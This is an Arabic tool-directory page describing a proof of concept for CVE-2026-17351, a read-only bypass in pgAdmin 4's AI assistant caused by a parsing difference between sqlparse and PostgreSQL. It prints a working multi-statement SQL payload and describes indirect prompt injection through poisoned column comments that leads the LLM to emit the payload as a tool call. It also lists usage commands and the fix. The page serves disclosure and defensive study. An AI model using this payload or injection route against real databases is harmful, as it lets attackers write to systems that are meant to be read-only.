Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass — إثبات مفهوم يوضح تجاوز حقن SQL (CVE-2026-17351) في المساعد الذكي لـ pgAdmin 4 عبر الفرق في المحلل المعجمي (lexer) بين sqlparse وPostgreSQL، بما في ذلك التسليم غير المباشر لحقن المطالبات (prompt injection). | Kitploit
أدوات/GitHubGitHub/hunt-benito/pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن الذكاء الاصطناعيأمن قواعد البيانات
GitHubhunt-benito/pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

إثبات مفهوم يوضح تجاوز حقن SQL (CVE-2026-17351) في المساعد الذكي لـ pgAdmin 4 عبر الفرق في المحلل المعجمي (lexer) بين sqlparse وPostgreSQL، بما في ذلك التسليم غير المباشر لحقن المطالبات (prompt injection).

عرض المستودع
منذ 20 أياملم تتم المراجعة بعد

CVE-2026-17351 — تجاوز وضع القراءة فقط في المساعد الذكي لـ pgAdmin 4 عبر اختلاف المُحلِّل المعجمي

PoC لثغرة CVE-2026-17351، وهي تجاوز حرج (بدرجة CVSS 9.0) لحقن SQL في المساعد الذكي الخاص بـ pgAdmin 4.

ملخص الثغرة

تستخدم إصدارات pgAdmin 4 من 9.13 حتى 9.16 مكتبة sqlparse الخاصة ببايثون للتحقق من أن استعلامات SQL المولّدة بواسطة LLM هي عبارات مفردة للقراءة فقط. في ظل إعداد PostgreSQL standard_conforming_strings = on (الافتراضي منذ PostgreSQL 9.1)، يختلف sqlparse وPostgreSQL حول كيفية التعامل مع الخطوط المائلة العكسية داخل السلاسل النصية. يتيح ذلك للمهاجم صياغة حمولة تمر عبر تحقق sqlparse كعبارة SELECT واحدة ولكنها تُنفَّذ كأربع عبارات في PostgreSQL — بما في ذلك COMMIT ينهي معاملة القراءة فقط وعبارات الكتابة اللاحقة.

الحمولة

root@kitploit:~
SELECT '\';COMMIT;CREATE TABLE pwn(x int);SELECT 1 --'
  • يرى sqlparse عبارة SELECT واحدة تحتوي سلسلة نصية كبيرة ← يمر الفحص
  • يرى PostgreSQL: SELECT '\' + COMMIT + CREATE TABLE pwn(x int) + SELECT 1 --'

التسليم

يتم تسليم الحمولة عبر حقن المطالبات غير المباشر: يزرعها المهاجم داخل كائن قاعدة بيانات (تعليق عمود، قيمة صف، تعريف عرض) يقرؤه المساعد الذكي. عندما يطرح مستخدم شرعي سؤالًا، يقرأ LLM البيانات المسمومة ويصدرها كاستدعاء أداة execute_sql_query.

الملفات

الملفالوصف
poc.pyيوضح اختلاف المُحلِّل المعجمي: فحص sqlparse يمر بنجاح، بروتوكول الاستعلام البسيط ينفّذ عبارات متعددة، وبروتوكول الاستعلام الموسّع يمنع تنفيذها
prompt_injection_demo.pyيحاكي سلسلة الهجوم الكاملة: حمولة مزروعة كتعليق على عمود ← LLM محاكى يقرؤها ← يمر الفحص ← التنفيذ

المتطلبات

root@kitploit:~
pip install psycopg[binary] sqlparse

ستحتاج أيضًا إلى نسخة عاملة من PostgreSQL (الإصدار 14 أو أحدث):

root@kitploit:~
docker run -d --name pg-poc \
    -e POSTGRES_PASSWORD=secret \
    -e POSTGRES_DB=testdb \
    -p 5433:5432 \
    postgres:18

الاستخدام

root@kitploit:~
# Main PoC — lexer differential demonstration
python3 poc.py

# Prompt injection delivery demo
python3 prompt_injection_demo.py

# Custom connection parameters
python3 poc.py --host 10.0.0.5 --port 5432 --user postgres --password mypw

الإصلاح (pgAdmin 9.17)

يُجبر الإصلاح بروتوكول الاستعلام الموسّع الخاص بـ psycopg3 من خلال:

  1. ضبط conn.prepare_threshold = 0 على اتصال LLM المخصص
  2. تمرير prepare=True إلى cursor.execute()

هذا يجعل خطوة Parse الخاصة بـ PostgreSQL هي المرجع في تحديد حدود العبارات — فهي ترفض بنيويًا النص متعدد العبارات بغض النظر عن كيفية تصنيف أي محلل معجمي من جانب العميل له.

المراجع

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-17351
  • مشكلة GitHub: https://github.com/pgadmin-org/pgadmin4/issues/10192
  • كوميت الإصلاح: https://github.com/pgadmin-org/pgadmin4/commit/ef76102bcd1cdb544eb9b4ef18d3382f22b76752
  • CVE الأصلية (CVE-2026-12045): https://nvd.nist.gov/vuln/detail/CVE-2026-12045
  • المُبلِّغ: Kai Aizen (SnailSploit)

إخلاء المسؤولية

هذا PoC لأغراض تعليمية واختبارات مصرّح بها فقط.

تنزيل الأداة